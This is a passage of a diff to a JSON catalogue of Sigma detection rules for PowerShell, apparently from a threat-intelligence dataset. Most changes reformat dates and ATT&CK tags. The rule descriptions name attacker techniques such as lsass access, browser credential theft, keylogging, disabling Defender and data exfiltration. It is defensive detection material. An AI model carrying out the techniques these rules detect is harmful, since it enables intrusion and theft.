"https://twitter.com/NathanMcNulty/status/1569497348841287681", + "https://learn.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" ], "tags": [ @@ -75988,7 +76094,7 @@ "description": "Detects parameters used by WMImplant", "meta": { "author": "NVISO", - "creation_date": "2020/03/26", + "creation_date": "2020-03-26", "falsepositive": [ "Administrative scripts that use the same keywords." ], @@ -76029,7 +76135,7 @@ "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", "meta": { "author": "frack113", - "creation_date": "2021/12/30", + "creation_date": "2021-12-30", "falsepositive": [ "Legitimate administrative script" ], @@ -76038,8 +76144,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.4", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" ], "tags": [ @@ -76064,7 +76170,7 @@ "description": "Detects usage of the \"Add-AppxPackage\" or it's alias \"Add-AppPackage\" to install unsigned AppX packages", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/31", + "creation_date": "2023-01-31", "falsepositive": [ "Installation of unsigned packages for testing purposes" ], @@ -76079,7 +76185,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "975b2262-9a49-439d-92a6-0709cccdf0b2", @@ -76089,7 +76195,7 @@ "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/21", + "creation_date": "2022-06-21", "falsepositive": [ "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes" ], @@ -76098,12 +76204,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", "https://twitter.com/nas_bench/status/1537919885031772161", + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -76123,7 +76229,7 @@ "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", "meta": { "author": "frack113", - "creation_date": "2022/04/09", + "creation_date": "2022-04-09", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -76132,12 +76238,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine", + "https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.006" ] }, @@ -76157,7 +76263,7 @@ "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -76170,7 +76276,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -76199,7 +76305,7 @@ "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", - "creation_date": "2022/01/07", + "creation_date": "2022-01-07", "falsepositive": [ "Legitimate script" ], @@ -76213,7 +76319,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.006" ] }, @@ -76233,7 +76339,7 @@ "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/04/23", + "creation_date": "2021-04-23", "falsepositive": [ "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" ], @@ -76242,11 +76348,11 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -76266,7 +76372,7 @@ "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Unknown" ], @@ -76300,7 +76406,7 @@ "description": "Detects usage of known powershell cmdlets such as \"Clear-EventLog\" to clear the Windows event logs", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/12", + "creation_date": "2022-09-12", "falsepositive": [ "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate" ], @@ -76309,13 +76415,13 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://twitter.com/oroneequalsone/status/1568432028361830402", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.001" ] }, @@ -76335,7 +76441,7 @@ "description": "Detects suspicious Powershell code that execute COM Objects", "meta": { "author": "frack113", - "creation_date": "2022/04/02", + "creation_date": "2022-04-02", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -76348,7 +76454,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.015" ] @@ -76369,7 +76475,7 @@ "description": "Detects PowerShell scripts leveraging the \"Invoke-WebRequest\" cmdlet to send data via either \"PUT\" or \"POST\" method.", "meta": { "author": "frack113", - "creation_date": "2022/01/07", + "creation_date": "2022-01-07", "falsepositive": [ "Unknown" ], @@ -76378,9 +76484,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", + "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_script_with_upload_capabilities.yml" ], "tags": [ @@ -76404,7 +76510,7 @@ "description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "meta": { "author": "frack113", - "creation_date": "2022/09/10", + "creation_date": "2022-09-10", "falsepositive": [ "Legitimate usage of the features listed in the rule." ], @@ -76414,12 +76520,12 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", - "https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", "https://learn.microsoft.com/en-us/windows/wsl/install-on-server", + "https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_susp_windows_optional_feature.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "55c925c1-7195-426b-a136-a9396800e29b", @@ -76429,7 +76535,7 @@ "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class", "meta": { "author": "frack113", - "creation_date": "2022/04/24", + "creation_date": "2022-04-24", "falsepositive": [ "Unknown" ], @@ -76442,7 +76548,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.007" ] }, @@ -76462,7 +76568,7 @@ "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", - "creation_date": "2022/01/07", + "creation_date": "2022-01-07", "falsepositive": [ "Legitimate script" ], @@ -76476,7 +76582,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.006" ] }, @@ -76496,7 +76602,7 @@ "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", "meta": { "author": "frack113", - "creation_date": "2022/06/04", + "creation_date": "2022-06-04", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -76530,7 +76636,7 @@ "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n", "meta": { "author": "frack113", - "creation_date": "2021/07/21", + "creation_date": "2021-07-21", "falsepositive": [ "Unknown" ], @@ -76563,7 +76669,7 @@ "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", "meta": { "author": "frack113", - "creation_date": "2021/07/30", + "creation_date": "2021-07-30", "falsepositive": [ "Unknown" ], @@ -76596,7 +76702,7 @@ "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "meta": { "author": "frack113", - "creation_date": "2022/09/10", + "creation_date": "2022-09-10", "falsepositive": [ "Unknown" ], @@ -76605,12 +76711,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", "https://learn.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windows_optional_feature.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -76630,7 +76736,7 @@ "description": "Detects PowerShell module creation where the module Contents are set to \"function Get-VMRemoteFXPhysicalVideoAdapter\". This could be a sign of potential abuse of the \"RemoteFXvGPUDisablement.exe\" binary which is known to be vulnerable to module load-order hijacking.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/09", + "creation_date": "2023-05-09", "falsepositive": [ "Unknown" ], @@ -76644,7 +76750,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remotefxvgpudisablement_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -76664,7 +76770,7 @@ "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n", "meta": { "author": "frack113, Duc.Le-GTSC", - "creation_date": "2021/08/03", + "creation_date": "2021-08-03", "falsepositive": [ "Unknown" ], @@ -76673,12 +76779,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://techgenix.com/malicious-powershell-scripts-evade-detection/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", + "https://techgenix.com/malicious-powershell-scripts-evade-detection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1497.001" ] }, @@ -76698,7 +76804,7 @@ "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -76711,7 +76817,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -76740,7 +76846,7 @@ "description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.", "meta": { "author": "Austin Songer (@austinsonger), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Legitimate use of the library for administrative activity" ], @@ -76757,7 +76863,7 @@ "attack.execution", "attack.reconnaissance", "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.impact" ] }, @@ -76768,7 +76874,7 @@ "description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation", "meta": { "author": "frack113", - "creation_date": "2022/12/27", + "creation_date": "2022-12-27", "falsepositive": [ "Unknown" ], @@ -76781,7 +76887,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_token_obfuscation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.009" ] }, @@ -76801,7 +76907,7 @@ "description": "Get the processes that are running on the local computer.", "meta": { "author": "frack113", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -76835,7 +76941,7 @@ "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module", "meta": { "author": "Ali Alwashali", - "creation_date": "2022/08/21", + "creation_date": "2022-08-21", "falsepositive": [ "Legitimate script that disables the command history" ], @@ -76848,7 +76954,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.003" ] }, @@ -76868,7 +76974,7 @@ "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", "meta": { "author": "frack113", - "creation_date": "2021/12/26", + "creation_date": "2021-12-26", "falsepositive": [ "Unknown" ], @@ -76901,7 +77007,7 @@ "description": "Detects Base64 encoded Shellcode", "meta": { "author": "David Ledbetter (shellcode), Florian Roth (Nextron Systems)", - "creation_date": "2018/11/17", + "creation_date": "2018-11-17", "falsepositive": [ "Unknown" ], @@ -76914,8 +77020,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055", "attack.execution", "attack.t1059.001" @@ -76944,7 +77050,7 @@ "description": "Detects the use of PSAttack PowerShell hack tool", "meta": { "author": "Sean Metcalf (source), Florian Roth (Nextron Systems)", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Unknown" ], @@ -76977,7 +77083,7 @@ "description": "Detects usage of the WMI class \"Win32_NTEventlogFile\" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/13", + "creation_date": "2023-07-13", "falsepositive": [ "Legitimate administration and backup scripts" ], @@ -76990,7 +77096,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_nteventlogfile_usage.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "e2812b49-bae0-4b21-b366-7c142eafcde2", @@ -77000,7 +77106,7 @@ "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", "meta": { "author": "frack113, MatilJ", - "creation_date": "2022/01/19", + "creation_date": "2022-01-19", "falsepositive": [ "Legitimate administrative script" ], @@ -77010,8 +77116,8 @@ "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", - "https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", + "https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml" ], "tags": [ @@ -77035,7 +77141,7 @@ "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -77048,7 +77154,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070", "attack.t1562.006", "car.2016-04-002" @@ -77077,7 +77183,7 @@ "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Unknown" ], @@ -77110,7 +77216,7 @@ "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/12", + "creation_date": "2021-12-12", "falsepositive": [ "Unknown" ], @@ -77143,7 +77249,7 @@ "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", "meta": { "author": "frack113", - "creation_date": "2021/09/02", + "creation_date": "2021-09-02", "falsepositive": [ "Unknown" ], @@ -77156,7 +77262,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -77176,7 +77282,7 @@ "description": "Powershell use PassThru option to start in background", "meta": { "author": "frack113", - "creation_date": "2022/01/15", + "creation_date": "2022-01-15", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -77185,12 +77291,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -77210,7 +77316,7 @@ "description": "Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.", "meta": { "author": "frack113, elhoim, Tim Shelton (fps, alias support), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/16", + "creation_date": "2022-01-16", "falsepositive": [ "Legitimate PowerShell scripts that disable Windows Defender for troubleshooting purposes. Must be investigated." ], @@ -77219,13 +77325,13 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_set_mp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -77245,7 +77351,7 @@ "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/30", + "creation_date": "2022-01-30", "falsepositive": [ "Unknown" ], @@ -77258,7 +77364,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.003" ] }, @@ -77278,7 +77384,7 @@ "description": "Detects PowerShell scripts that contains reference to keystroke capturing functions", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/04", + "creation_date": "2023-01-04", "falsepositive": [ "Unknown" ], @@ -77288,14 +77394,14 @@ "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9c81655093be93876e0d80732e7eeaf7d83476/content", - "https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0", "https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bcc28a4f456e200486dbd401b25af6da3b4da62/content", + "https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0", "https://twitter.com/ScumBots/status/1610626724257046529", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml" ], "tags": [ "attack.collection", - "attack.credential_access", + "attack.credential-access", "attack.t1056.001" ] }, @@ -77315,7 +77421,7 @@ "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "meta": { "author": "frack113", - "creation_date": "2022/02/01", + "creation_date": "2022-02-01", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -77324,12 +77430,12 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", "https://learn.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.005" ] }, @@ -77349,7 +77455,7 @@ "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/15", + "creation_date": "2021-12-15", "falsepositive": [ "Unknown" ], @@ -77382,7 +77488,7 @@ "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Unknown" ], @@ -77415,7 +77521,7 @@ "description": "Detects usage of \"Reflection.Assembly\" load functions to dynamically load assemblies in memory", "meta": { "author": "frack113", - "creation_date": "2022/12/25", + "creation_date": "2022-12-25", "falsepositive": [ "Legitimate use of the library" ], @@ -77428,7 +77534,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dotnet_assembly_from_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1620" ] }, @@ -77448,7 +77554,7 @@ "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -77461,7 +77567,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -77490,7 +77596,7 @@ "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/26", + "creation_date": "2021-12-26", "falsepositive": [ "Unknown" ], @@ -77523,7 +77629,7 @@ "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", "meta": { "author": "frack113", - "creation_date": "2022/09/26", + "creation_date": "2022-09-26", "falsepositive": [ "Legitimate script" ], @@ -77532,8 +77638,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.4", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.4", "https://www.ietf.org/rfc/rfc2821.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml" ], @@ -77558,7 +77664,7 @@ "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2021/09/21", + "creation_date": "2021-09-21", "falsepositive": [ "Diagnostics" ], @@ -77590,7 +77696,7 @@ "description": "Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files.\nThe DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/26", + "creation_date": "2024-06-26", "falsepositive": [ "Legitimate usage of DSInternals for administration or audit purpose." ], @@ -77623,7 +77729,7 @@ "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": 